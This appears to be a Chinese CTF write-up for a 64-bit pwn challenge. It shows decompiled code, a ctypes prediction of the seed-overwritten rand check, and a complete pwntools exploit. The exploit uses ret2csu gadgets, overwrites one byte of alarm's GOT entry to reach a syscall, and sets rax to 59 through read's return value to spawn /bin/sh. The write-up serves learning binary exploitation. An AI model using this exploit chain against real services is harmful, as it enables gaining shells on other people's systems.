赛后拿到题目和pwn_ckyan的WP,复现一下,这个题坑还是不小的。120分钟的比赛,只作这一个题还差不多。
先看题。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
init_0();
if ( check() )
read(0, buf, 0x100uLL);
return 0LL;
}
main很直白,先是个init这里有个alarm也算很常见的方法,然后是个检查,检查通过后就是个有溢出的写。
_BOOL8 check()
{
__int64 s[4]; // [rsp+0h] [rbp-50h] BYREF
char v2[32]; // [rsp+20h] [rbp-30h] BYREF
unsigned int seed; // [rsp+40h] [rbp-10h]
int v4; // [rsp+48h] [rbp-8h]
int i; // [rsp+4Ch] [rbp-4h]
seed = time(0LL);
memset(v2, 0, sizeof(v2));
memset(s, 0, sizeof(s));
strcpy((char *)s, "s0d0ao2lnfic9alsl2lmxncbzyqi1j2");
sub_4008D1(v2, 32);
srand(seed);
for ( i = 0; i <= 30; ++i )
{
v4 = rand() % 16;
*((_BYTE *)s + i) ^= v4;
}
return strcmp(v2, (const char *)s) == 0;
}
check先取了个时间作为种子,然后把一个密文放到栈上,然后执行sub_4008D1,回来后置种子,再把密文与rand%16异或,然后比较。这里都比较容易,就是srand为什么放到离seed这么远。
char *__fastcall sub_4008D1(char *a1, int a2)
{
int v2; // edx
char *result; // rax
int v5; // [rsp+14h] [rbp-Ch]
char *buf; // [rsp+18h] [rbp-8h]
buf = a1;
while ( a2 )
{
v5 = read(0, buf, a2);
if ( v5 < 0 )
exit(1);
a2 -= v5;
buf += v5; // 指针保持在数据尾部
}
v2 = strlen(a1); // 读入0x20
result = buf;
*(_DWORD *)buf = v2; // 用串长度0x1f覆盖seed
return result;
}
这里边有些小细节,放入数据放到buf,buf是参数引入的,向check的buf写入,读不满不会退出。
这里有个buf+= v5; 每读一次就把指针后移保证下次从尾部接着读,结束读后次串长度存入buf。
__int64 s[4]; // [rsp+0h] [rbp-50h] BYREF
char v2[32]; // [rsp+20h] [rbp-30h] BYREF
unsigned int seed; // [rsp+40h] [rbp-10h]
int v4; // [rsp+48h] [rbp-8h]
int i; // [rsp+4Ch] [rbp-4h]
再回来看check的栈,v2存读入的32个字节,后边是seed,从上个函数看,这里被存入的串长度覆盖。因为后边要进行strcmp所以输入应该是31个字符和一个\x00,这里字符串长度应该是31(0x1f),也就是说刚开始放的种time(0)被改为0x1f
对于有足够长溢出的情况下,一般是先puts(got[puts])+main先泄露libc,再system(/bin/sh),但是这个题目似乎一直就没有输入。看下got表
.got.plt:0000000000601018 B0 10 60 00 00 00 00 00 off_601018 dq offset strlen ; DATA XREF: _strlen↑r
.got.plt:0000000000601020 B8 10 60 00 00 00 00 00 off_601020 dq offset memset ; DATA XREF: _memset↑r
.got.plt:0000000000601028 C0 10 60 00 00 00 00 00 off_601028 dq offset alarm ; DATA XREF: _alarm↑r
.got.plt:0000000000601030 C8 10 60 00 00 00 00 00 off_601030 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000601038 D0 10 60 00 00 00 00 00 off_601038 dq offset __libc_start_main ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000601040 D8 10 60 00 00 00 00 00 off_601040 dq offset srand ; DATA XREF: _srand↑r
.got.plt:0000000000601048 E0 10 60 00 00 00 00 00 off_601048 dq offset strcmp ; DATA XREF: _strcmp↑r
.got.plt:0000000000601050 E8 10 60 00 00 00 00 00 off_601050 dq offset time ; DATA XREF: _time↑r
.got.plt:0000000000601058 F0 10 60 00 00 00 00 00 off_601058 dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0000000000601060 F8 10 60 00 00 00 00 00 off_601060 dq offset exit ; DATA XREF: _exit↑r
.got.plt:0000000000601068 00 11 60 00 00 00 00 00 off_601068 dq offset rand ; DATA XREF: _rand↑r
确实没有puts类的输出函数。那么这个问题就来了,怎么弄。
前天写的单次调用写了3个存的模板,对于2.35以后的用一个add 的gadget对got表加偏移改为system。这里是2.27,所以这个方法不适用。这个是传统的ret2csu。
ret2csu使用两个gadget:ppp6和move_call这两个可利用的gadget在程序调入时使用的init函数里
.text:0000000000400A90 ; void __fastcall init(unsigned int, __int64, __int64)
.text:0000000000400A90 init proc near ; DATA XREF: start+16↑o
.text:0000000000400A90 ; __unwind {
.text:0000000000400A90 41 57 push r15
.text:0000000000400A92 41 56 push r14
.text:0000000000400A94 41 89 FF mov r15d, edi
.text:0000000000400A97 41 55 push r13
.text:0000000000400A99 41 54 push r12
.text:0000000000400A9B 4C 8D 25 6E 03 20 00 lea r12, off_600E10
.text:0000000000400AA2 55 push rbp
.text:0000000000400AA3 48 8D 2D 6E 03 20 00 lea rbp, off_600E18
.text:0000000000400AAA 53 push rbx
.text:0000000000400AAB 49 89 F6 mov r14, rsi
.text:0000000000400AAE 49 89 D5 mov r13, rdx
.text:0000000000400AB1 4C 29 E5 sub rbp, r12
.text:0000000000400AB4 48 83 EC 08 sub rsp, 8
.text:0000000000400AB8 48 C1 FD 03 sar rbp, 3
.text:0000000000400ABC E8 B7 FB FF FF call _init_proc
.text:0000000000400ABC
.text:0000000000400AC1 48 85 ED test rbp, rbp
.text:0000000000400AC4 74 20 jz short loc_400AE6
.text:0000000000400AC4
.text:0000000000400AC6 31 DB xor ebx, ebx
.text:0000000000400AC8 0F 1F 84 00 00 00 00 00 nop dword ptr [rax+rax+00000000h]
.text:0000000000400AC8
.text:0000000000400AD0
.text:0000000000400AD0 loc_400AD0: ; CODE XREF: init+54↓j
.text:0000000000400AD0 4C 89 EA mov rdx, r13
.text:0000000000400AD3 4C 89 F6 mov rsi, r14
.text:0000000000400AD6 44 89 FF mov edi, r15d
.text:0000000000400AD9 41 FF 14 DC call qword ptr [r12+rbx*8]
.text:0000000000400AD9
.text:0000000000400ADD 48 83 C3 01 add rbx, 1
.text:0000000000400AE1 48 39 EB cmp rbx, rbp
.text:0000000000400AE4 75 EA jnz short loc_400AD0
.text:0000000000400AE4
.text:0000000000400AE6
.text:0000000000400AE6 loc_400AE6: ; CODE XREF: init+34↑j
.text:0000000000400AE6 48 83 C4 08 add rsp, 8
.text:0000000000400AEA 5B pop rbx
.text:0000000000400AEB 5D pop rbp
.text:0000000000400AEC 41 5C pop r12
.text:0000000000400AEE 41 5D pop r13
.text:0000000000400AF0 41 5E pop r14
.text:0000000000400AF2 41 5F pop r15
.text:0000000000400AF4 C3 retn
.text:0000000000400AF4 ; } // starts at 400A90
.text:0000000000400AF4
.text:0000000000400AF4 init endp
ppp6就是从0x400AEA开始的从栈上弹出到6个寄存器。这6个寄存器基本上不怎么用。
mov_call是这段前边0x400AD0开始,将r13,r14,r15d存入rdx,rsi,edi然后调用[r12+rbx*8],这两个配合使用实现填充rsi,rdi并实现call,一般rbx置0,用r12作为调用指针,rdi,rsi为1参2参。
这时候就可以开干了,问题得干起来才能慢慢解决。
第1步要给程序打patch,虽然可以用环境变量调入,但有时候会有些问题,毕竟不可能虚机都跟比赛用的Docker差不多,patchelf还是比较好的办法。
先看下给的libc版本,虽然给的 2.27但2.27也有很多小版本,最好是一样的。
┌──(kali㉿kali)-[~/ctf/0520]
└─$ strings libc-2.27.so|grep ubuntu
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
然后打上patch
patchelf --add-needed ~/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so pwn
patchelf --set-interpreter ~/glibc/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so pwn
这时候这个环境跟Docker就比较像了,但还是有差别,不过不影响运行
思路:
- 通过check,ctypes调用srand,rand得到预测的值生成密文
- 调用read修改alarm的got表,alarm向后偏移,去掉无用部分得到一个syscall
- 再次调用read向bss的可写区写/bin/sh 并利用返回值(长度)存入rax,给rax填入59(execv的中断调用号)
- 用gadget调用alarm(已改为syscall)获得shell
第1块是要过这个check(名字是后来在ida里为方便看自己改的,这也算是个习惯吧。虽然浪费点时间但是以后看起来方便)
置种和取rand这块前边写过用ctypes调用libc,由于不同版本的libc里 rand函数基本不变,所以并不一定要用完全相同的版本。
from pwn import *
from ctypes import *
binary = './pwn'
p = process(binary)
context(arch='amd64', log_level='debug')
elf = ELF(binary)
libc = ELF('./libc-2.27.so')
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
#clibc.srand(clibc.time(0))
# *(_DWORD *)buf = v2; // 用串长度0x1f覆盖seed
clibc.srand(0x1f)
sec = b"s0d0ao2lnfic9alsl2lmxncbzyqi1j2"
s = bytes([v^(clibc.rand()%16) for v in sec]) + b'\x00'
p.send(s)
print('send:',s)
这块过了以后,后边跟return时的现场有关,比如当时的寄存器和查看写入的payload,所以这里在return前下断点,观察。
这里rdi=0这里已经有rdi,只需要pop rsi即可,如果rdi没有就弹一次rdi,在pop r15;ret,一般大多情况下pop rdi;pop rsi都是有的,可以用ROPgadget在程序里找。pop rdi就在ppp6的尾部pop r15; ret的错位。pop rsi;pop r15;ret是ppp6尾部pop r14;pop r15;ret的错位。经常是rdx比较难弄,不过read函数只要不是太小就能用。这里是0x100足够了。
┌──(kali㉿kali)-[~/ctf/0520/secret_message]
└─$ ROPgadget --binary pwn --only 'pop|ret'
Gadgets information
============================================================
0x0000000000400aec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aee : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400af0 : pop r14 ; pop r15 ; ret
0x0000000000400af2 : pop r15 ; ret
0x0000000000400aeb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aef : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop rbp ; ret
0x0000000000400af3 : pop rdi ; ret
0x0000000000400af1 : pop rsi ; pop r15 ; ret
0x0000000000400aed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400691 : ret
0x00000000003fc0f9 : ret 0x3f
现在看alarm的情况
gef➤ x/5i &alarm
0x7ffff78e44f0 <alarm>: mov eax,0x25
0x7ffff78e44f5 <alarm+5>: syscall
可以看到alarm的代码给eax填充后就直接调用syscall,由于程序加载里尾12位(1个半字节)不发生变化,所以只需要把got表里的尾字节f0改成f5就直接得到syscall
第2次read需要将rsi改为随便一个可写地址,一般在bss的后部。bss一般程序只用了前边一点儿,而一个段至少0x1000字节,所以后边写是比较安全的。rax里存read的反回值这里执行完read后,如果read的长度是59正好是exec的syscall调用号。
后一半代码
#gdb.attach(p, "b*0x400a8d\nc")
pop_rdi = 0x0000000000400af3 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400af1 # pop rsi ; pop r15 ; ret
ppp6 = 0x400AEA
mov_call = 0x400AD0
got_alarm = 0x601028
buf = 0x601800
pay = b'A'*0x38 + flat([
pop_rsi_r15, elf.got['alarm'], 0, elf.sym['read'], #sym['alarm']+5 = syscall
pop_rsi_r15, buf, 0, elf.sym['read'], #read /bin/sh len(payload)=0x3b rax=0x3b
ppp6, 0,0, elf.got['alarm'], 0,0, buf, # r12=got.alarm r15=buf
mov_call #
])
p.send(pay.ljust(0x100, b'\x00'))
p.send(b'\xf5') #0x7ffff78e44f0 <alarm>: 0xb8 0x25 0x0 0x0 0x0 0xf 0x5 0x48 +5=0f05 syscall 输入尾号f5修改alarm为syscall
p.send(b'/bin/sh'.ljust(0x3b, b'\x00'))
p.interactive()